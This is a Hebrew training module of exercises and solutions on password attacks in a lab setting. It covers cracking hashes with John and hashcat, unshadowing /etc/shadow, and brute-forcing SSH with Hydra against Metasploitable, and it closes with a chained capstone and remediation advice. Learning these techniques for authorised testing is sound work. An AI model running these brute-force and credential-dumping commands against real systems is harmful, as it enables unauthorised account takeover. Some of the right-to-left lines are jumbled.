

מודול 8 — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 8: מתקפות סיסמאות
2.  פתרונות מלאים — מודול 8: מתקפות סיסמאות

🎯 תרגילים — מודול 8: מתקפות סיסמאות

⚠️ רק על מכונות המעבדה שלך (Metasploitable / מכונות תרגול). מתקפות מקוונות רועשות ונועלות חשבונות — לעולם לא על יעד לא-מורשה. פתרונות ב- [solutions.md](#).

🚦 לפני שמתחילים — קרא אותי!

- מה צריך: **Kali** (יש בו את כל הכלים: hashid, john, hashcat, hydra). לחלק המקוון — מכונת יעד כמו **Metasploitable** על אותה רשת.
- ☁️ **אין מכונת יעד? תרגילי הסדיקה הלא-מקוונת** (Hashes, John, Hashcat) רצים כולם על Kali לבד. לחלק המקוון (Hydra) — חדר חינמי ב-TryHackMe כמו “**Crack the Hash**” (offline) או “**Hydra**” (online).
- איך עובדים: קרא קודם את ה-[README.md](#). למשימות הקלות (🟡🟢) יש פקודה מדויקת + מה לחפש; לקשות 💡 רמז ו-✅ קריטריון.
- נתקעת? סדיקה נכשלת? ודא שסוג ה-Hash (--format / -m) נכון ושה-wordlist קיים. נסה, ואז הצץ ב-[solutions.md](#).
- טיפ: רוב הסיסמאות ה”פרוצות” פשוט נמצאות ב-rockyou. זיהוי נכון של סוג ה-Hash הוא חצי מהעבודה.

🌐 איפה לתרגל — שתי דרכים

- ☁️ **TryHackMe** (בדפדפן, ללא התקנה): Hydra, “**Crack the Hash**”
- 🐧 **Kali** (מקומי): john, hashcat, hydra מותקנים ב-Kali; יעד מקוון: **Metasploitable**.

מקרא רמות: 🟢 קל · 🟡 בינוני · 🟠 מתקדם · 🔴 אתגר

🎮 Crack the Hash — האתגר הגדול

CTF של פיצוח, עם ניקוד. מקבלים Hashes — ומפצחים כמה שיותר, מהמהיר לקשה. ממכר.

TryHackMe — Crack the Hash (חינם). 🏆 **תחרות כיתתית:** פצח את כל ה-Hashes ברמה 1, וכמה שיותר ברמה 2. לוח תוצאות על הלוח! ✅ הצלחה: פיצחת MD5, SHA, NTLM ועוד — ושולט ב-hashcat/john.

חלק א' — Wordlists-1 Hashes (🟡🟢)

8.1 🟢 — מצא את `rockyou.txt`, חלץ אם דחוס, וספור סיסמאות.

```
ls -l /usr/share/wordlists/  
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # אם .gz  
wc -l /usr/share/wordlists/rockyou.txt
```

👁️ **חפש:** המספר מ-`wc -l` (14~ מיליון). ✅ הצלחה: הקובץ מחולץ ואתה יודע כמה סיסמאות בו.

8.2 🟢 — זהה את סוג ה-Hash.

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
```

👁️ **חפש:** ההצעות של `hashid` — הראשונה הסבירה היא **MD5** (32 תווי hex). ✅ הצלחה: זיהית שזה MD5.

8.3 🟡 — התקן את `seclists`. איפה הוא מותקן ואילו רשימות הוא כולל?

```
sudo apt install seclists -y  
ls /usr/share/seclists/
```

✅ הצלחה: `seclists` מותקן; ראית תיקיות כמו Passwords, Usernames, Discovery.

חלק ב' — סדיקה לא-מקוונת (🟡🟠)

8.4 🟡 — שמור את ה-Hash של `password` (MD5) וסדוק עם **John**.

```
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt  
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
john --show --format=raw-md5 hash.txt
```

👁️ **חפש:** John ידפיס `password` כסיסמה שנסדקה. ✅ הצלחה: קיבלת את הסיסמה `password`.

8.5 🟡 — סדוק את אותו Hash עם **Hashcat** (`-m 0`).

```
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 --show hash.txt
```

💡 רמז: `-m 0 =wordlist= -a 0`. MD5, (אם רץ ב-VM ומתלונן על GPU: הוסף `--force`). הצלחה: ✅
Hashcat הראה את הסיסמה. השווית את החוויה מול John.

8.6 — צור משתמש בדיקה, בצע `unshadow`, וסדוק עם John. 💡 רמז: §8.5 README `unshadow`.
משתמש הבדיקה. הצלחה: ✅ `john crack.txt` ואלו `/etc/passwd /etc/shadow > crack.txt`. John סדק את סיסמת

חלק ג' — סדיקה מקוונת (🟡)

8.7 — Brute Force ל-Ssh על Metasploitable עם Hydra.

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://<target-ip> -t 4
```

👁️ **חפש:** שורה עם `login: msfadmin password: ...` — זו הסיסמה. הצלחה: ✅ Hydra מצא את הסיסמה.

8.8 — הסבר מה עושה כל חלק ב- `hydra -l admin -P rockyou.txt ssh://10.0.0.5 -t 4`. 💡 רמז: §8.4 README. הצלחה: ✅ `ssh://`, `wordlist= -P`, `שירות+יעד`, `4 = -t` חוטים במקביל (מאט כדי לא לנעול).

חלק ד' — מתקפות רוחביות (🟡) (מתקדם)

8.9 — הסבר את ההבדל בין Brute Force, Password Spraying ו-Credential Stuffing. מתי תבחר Spraying, ולמה? 💡 רמז: §8.7 README. הצלחה: ✅ `Spraying=סיסמה אחת נגד הרבה משתמשים` (נמנע מנעילת חשבון) — בוחרים כשיש הרבה משתמשים ורוצים לא לעורר חשד.

אתגר מסכם — "מפרטי גישה לשליטה" (🔴)

תרחיש משולב (מודולים 5 → 6 → 8): 1. **מנייה:** על מכונת מעבדה, מצא שירות עם התחברות (SSH/FTP) ושם משתמש (מ-enum4linux/מנייה). 2. **תקיפה מקוונת:** הרץ Hydra עם wordlist מתאים ומצא סיסמה. 3. **גישה:** התחבר עם הפרטים (`ssh user@target`). 4. **סדיקה לא-מקוונת:** לאחר גישה, השג `/etc/shadow`, בצע

unshadow , וסדוק עם 5. John/Hashcat. **תיעוד:** רשום — איזה משתמש, איזו סיסמה, באיזה כלי, וכמה זמן. **המלץ תיקון** (MFA / מדיניות סיסמאות).

💡 רמז: כל שלב מבוסס על תרגילים 8.1–8.8. פתרון מלא ב- `solutions.md`.  הצלחה: התחברת עם סיסמה שסדוקת, ושלפת Hashes נוספים מהמכונה.

 שרשרת זו — משתמש → סיסמה → גישה → Hashes נוספים — היא בדיוק מה שקורה בבדיקה פנימית.

רשימת בקרה — לפני מעבר למודול 9

- ☐ אני מזהה סוגי Hash (hashid) ומוצא/מחלץ wordlists
- ☐ אני סודק Hashes עם John ועם Hashcat (ומבין -m)
- ☐ אני מבצע unshadow וסודק סיסמאות Linux
- ☐ אני מריץ Brute Force מקוון עם Hydra (SSH/FTP/web)
- ☐ אני מבין Spraying מול Stuffing מול Brute Force
- ☐ אני יודע להמליץ הגנות (MFA, נעילה, Hashing חזק)

פתרונות מלאים: `solutions.md`

פתרונות מלאים — מודול 8: מתקפות סיסמאות

נסה לבד ב- `missions.md` קודם.

חלק א' — Wordlists-1 Hashes

8.1

```
ls -lh /usr/share/wordlists/
sudo gunzip /usr/share/wordlists/rockyou.txt.gz    # אם דחוס
wc -l /usr/share/wordlists/rockyou.txt             # → 14,344,392
```

8.2

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
```

→ MD5 (בין השאר). המחרוזת Hash-זהו ה.

8.3

```
sudo apt install seclists -y  
ls /usr/share/seclists/          # Passwords, Usernames, Discovery, Fuzzing...
```

חלק ב' — סדיקה לא-מקוונת

8.4

```
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt  
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
john --show --format=raw-md5 hash.txt      # → password
```

8.5

```
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt  
hashcat --show -m 0 hash.txt              # → ...:password
```

Hashcat דורש ציון mode מדויק (MD5= -m 0) אך מהיר בהרבה (GPU); John נוח ואוטומטי יותר.

8.6

```
sudo useradd -m testy && echo 'testy:Summer2024' | sudo chpasswd  
sudo unshadow /etc/passwd /etc/shadow > crack.txt  
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt  
john --show crack.txt
```

חלק ג' — סדיקה מקוונת

8.7

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://<metasploitable-ip> -t 4  
# "msfadmin" היא msfadmin הסיסמה של Metasploitable ב
```

8.8 — -l admin = שם משתמש יחיד · -P rockyou.txt = קובץ סיסמאות · ssh://10.0.0.5 = פרוטוקול+יעד · -t 4 = 4 חוטים במקביל (מאט את הקצב, פחות נעילות).

חלק ד' — מתקפות רוחביות

8.9 — Brute Force — הרבה סיסמאות נגד משתמש אחד; רועש, נועל חשבונות. - Password Spraying
— סיסמה אחת נפוצה נגד הרבה משתמשים; ניסיון אחד לכל חשבון → נמנע מנעילה. - Credential Stuffing
— פרטים שדלפו נגד מערכות אחרות (מיחזור סיסמאות). תבחר Spraying כשיש מדיניות נעילת חשבונות — כי ניסיון בודד לכל משתמש לא מפעיל את הנעילה, ומספיק משתמש אחד עם !Winter2024.

אתגר מסכם — פתרון לדוגמה

```
# 1-2. מנייה + תקיפה מקוונת
enum4linux -a <ip>                                # → משתמש: msfadmin
hydra -l msfadmin -P rockyou.txt ssh://<ip> -t 4    # → סיסמה: msfadmin
# 3. גישה
ssh msfadmin@<ip>
# 4. סדיקה לא-מקוונת (אם יש הרשאות)
sudo unshadow /etc/passwd /etc/shadow > c.txt
john --wordlist=/usr/share/wordlists/rockyou.txt c.txt
```

תיעוד לדוגמה:

High: חומרה — (msfadmin:msfadmin) SSH-ממצא: סיסמה חלשה ל
PoC: Hydra הצליחה SSH מצא את הסיסמה תוך שניות; התחברות
נעילת חשבון אחרי 5 ניסיונות + MFA + תיקון: אכזר מדיניות סיסמאות חזקה.

עברת? המשך למודול 9.